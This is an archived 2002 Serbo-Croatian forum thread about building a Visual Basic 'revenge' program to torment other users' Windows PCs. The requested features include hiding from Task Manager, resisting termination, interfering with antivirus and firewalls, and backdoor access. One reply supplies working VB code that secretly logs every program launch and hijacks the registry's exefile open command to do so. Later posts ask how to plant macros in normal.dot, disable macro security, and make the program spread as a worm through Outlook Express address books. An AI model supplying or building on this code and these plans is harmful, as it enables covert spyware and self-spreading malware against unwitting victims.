Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

VB revenge rutine

[es] :: Visual Basic 6 :: VB revenge rutine

[ Pregleda: 4027 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

StratOS
Slovenija

Član broj: 2234
Poruke: 989
*.dsl.siol.net



+1 Profil

icon VB revenge rutine04.06.2002. u 16:57 - pre 265 meseci
Radim na jednom projektu u VB a zove se revenge, sami mislim da znate što bi program trebao da radi.

Trebam VB subrutine kako bi što se da dobro pošalio sa ostalim "lamerima"

Što se tiče subrotina trebaju da budu win9x/NT/2000 kompatibilne.
A evo malo primjera što več imam :

Listanje aplikacija
kill aplikacije (nonsystem i stvarno nepotrebne, recimo koji notepad il slično)
run random aplikacije
reboot/shutdown/logoff
desktop remover/theme sampler
CDR/DVD drive open/close
app as system service, hide app in task manager (win95 only, radim na kodu za nt i 2000)
mouse config (doubleclick, pointers, hide ...)
playing random wav,CD ....
zaštita kod kill programa u task manager-u (nemuguče killati)
deaktivacija/aktivacija uz pomoč posebne kode (encrypt/decrypt) i load original parameeter settings kod deaktivacije ...
Browser revenge (startup page, oblika ....)
Clipboard messing
pasting & copyiing problems ....
System messages
"remote-control ???" - aka BO (možda ako bude cool - Hm dobra je fora i za backdor,trojans enablere ...)

Annoy other programs (Office, AV,FW, Irc, ... messengera, skripti, makroji ...) - Tu je stvarno veliko mogučnosti !!!
Change registry settings ....

Dobro bi bilo ako ima tko koju dobru subrutinicu ili linkove !!! za ovakava annoying proggy neka postuje ( ali samo u VB5 ili 6 !!) !!!

Hvala več unaprijed
Pozdrav StratOS
"Multitasking - ability to f##k up several things at once."
"It works better if you plug it in."
"As a rule, software systems do not work well until they have been used, and have failed repeatedly, in real applications."
"The one who is digging the hole for the other to fall in is allready in it."
 
Odgovor na temu

StratOS
Slovenija

Član broj: 2234
Poruke: 989
*.dsl.siol.net



+1 Profil

icon Re: VB revenge rutine08.06.2002. u 09:00 - pre 265 meseci
Ma šta je to VB-ovci, nitko nezna ni jednu rutinicu da napiše ???
Pozdrav StratOS
"Multitasking - ability to f##k up several things at once."
"It works better if you plug it in."
"As a rule, software systems do not work well until they have been used, and have failed repeatedly, in real applications."
"The one who is digging the hole for the other to fall in is allready in it."
 
Odgovor na temu

gio1000
Italia

Član broj: 1159
Poruke: 122
*.98-62.inwind.it



Profil

icon Re: VB revenge rutine08.06.2002. u 22:56 - pre 265 meseci
Kazi nesto konkretno
 
Odgovor na temu

Moonshine
Beograd

Član broj: 4083
Poruke: 117
*.dial.InfoSky.Net

Sajt: www.dilbert.com


Profil

icon Re: VB revenge rutine09.06.2002. u 10:23 - pre 265 meseci
Gledajuci ovo mislim da imas sve sto ti treba da se s nekim doobro posalis. Ne vidim sta bi jos moglo.
Fear not the dark within this night
Beneath the sky of deadly light
Of raging fire seen from afar
The fear inside of who you are
 
Odgovor na temu

Moonshine
Beograd

Član broj: 4083
Poruke: 117
*.dial.InfoSky.Net

Sajt: www.dilbert.com


Profil

icon Re: VB revenge rutine09.06.2002. u 14:23 - pre 265 meseci
Upravo mi je palo na pamet, ustvari i nije mi bas palo ali me je mnogo iznerviralo. Sto ne napravis nesto sto ce da prikazuje non stop reklame. Ne znam da li trebam da ti pisem subrutinu jer to i nije nesto preterano tesko jedino da nadjes dobar izbor reklama na netu i da ih konstatno menjas:)) Ne znam za druge ali mene bi to mnogo nerviralo. Vise nego da mi neko izbrise ceo sadrzaj HD!
Fear not the dark within this night
Beneath the sky of deadly light
Of raging fire seen from afar
The fear inside of who you are
 
Odgovor na temu

StratOS
Slovenija

Član broj: 2234
Poruke: 989
*.dsl.siol.net



+1 Profil

icon Re: VB revenge rutine09.06.2002. u 23:35 - pre 265 meseci
Hm, dobro ovo sa reklamama .. ali još uvijek ...

a što se tiče procedura možeti i sami uklopiti bilo koju, možda i koju koja je več uključena u gornji izbor ...
Pozdrav StratOS
"Multitasking - ability to f##k up several things at once."
"It works better if you plug it in."
"As a rule, software systems do not work well until they have been used, and have failed repeatedly, in real applications."
"The one who is digging the hole for the other to fall in is allready in it."
 
Odgovor na temu

gio1000
Italia

Član broj: 1159
Poruke: 122
*.98-62.inwind.it



Profil

icon Re: VB revenge rutine10.06.2002. u 02:16 - pre 265 meseci
'Mozes napr. postaviti da prilikom otvaranja bilo kog ili odredjenog
'programa trazis nesto(InputBox da upise "Neko me zajebava")
'i da tek nakon toga otvori program
'Ovo je primjer da zapise u .txt file kada i koji program je otvoran
'i da se potom sam zatvori
Code:
Private Sub Form_Load()
If Command$ <> "" Then
Open "c:\spijun.txt" For Append As #1
Print #1, Command$ & " " & CStr(Now)
Close #1
Call Shell(Command$, vbNormalFocus)
End If
End
End Sub

'Naravno ovo moras promijeniti u Registry
Code:
'HKEY_CLASSES_ROOT\exefile\shell\open\command to: "C:\spijun.exe" "%1" %*


Marko_L : Dodati code tagovi

[Ovu poruku je menjao Marko_L dana 17.06.2005. u 23:02 GMT+1]
 
Odgovor na temu

StratOS
Slovenija

Član broj: 2234
Poruke: 989
*.dsl.siol.net



+1 Profil

icon Re: VB revenge rutine10.06.2002. u 06:29 - pre 265 meseci
Pa to je baš ono šta sam htio !!!
Bravo !!!

Baš ti dobra fora !
A to ču napraviti tako, kao da je datoteka več otvorena i rezervirana za nekog usera, to če naravno biti random event i neče "upaliti" svaki put kad bude tko otvarao različite tipove dokumenata (*.txt, *.doc, *.exe ...)

Sad sam se sjetio još nešto, u win98 i starima Office-u, normal.dot je u istom direktoriju kao i word pod \template, a u novijem u $Documents and Settings$$User$Application DataMicrosoftTemplates, znači treba napisati i rutinu za pregled usera (NT,2000,XP), pregled "Settings Dir-a", koja mislim neče raditi problema ...

A napravit ču i datoteku, koja če uz pravilan ključ sama deinstalirati program (setup programa neče biti) i vratiti prijašnje stanje.

Baš ti hvala na ovome postu !!

Zna li tko kako dodati koji makro u normal.dot, a zna se uz pomoč kode, disablanje macro-security-a ili slične stvari. Dali AutoExec, AutoOpen i ostale rutine još rade u novim verzijama Office-a ?

Dobio sam i novu ideju, kako da napravim ovaj program kao worm/virii aplikaciju ?
Dali znate kako naprimjer Hotmail Messanger dodaje e-mail adresse u recimo Outlook Express ili kako se može mijenjati WAB e-mail account settingsi (koda) !!

Working on it now ...
Pozdrav StratOS
"Multitasking - ability to f##k up several things at once."
"It works better if you plug it in."
"As a rule, software systems do not work well until they have been used, and have failed repeatedly, in real applications."
"The one who is digging the hole for the other to fall in is allready in it."
 
Odgovor na temu

gio1000
Italia

Član broj: 1159
Poruke: 122
*.98-62.inwind.it



Profil

icon Re: VB revenge rutine11.06.2002. u 02:53 - pre 265 meseci
Mozda bi bilo "pederski" da ostavis, recimo, program aktivan i da timerom
kontrolises dali postoji aktivna konekcija na internet.
U pozitivnom slucaju aktiviras drugi timer, sa intervalom(napr. 20 min)koji
ce poslati MsgBox "Vec si 20 min. na internetu. Znas li ti koliko to kosta?"
i da prekines vezu i iskljucis Timer2.
Stime nebi mogao provesti vise od 20 min. (ili <>) konektovan na internet.
Ako te interesuje da te neko ubije :-) mogu ti postaviti neko resenje.
 
Odgovor na temu

[es] :: Visual Basic 6 :: VB revenge rutine

[ Pregleda: 4027 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.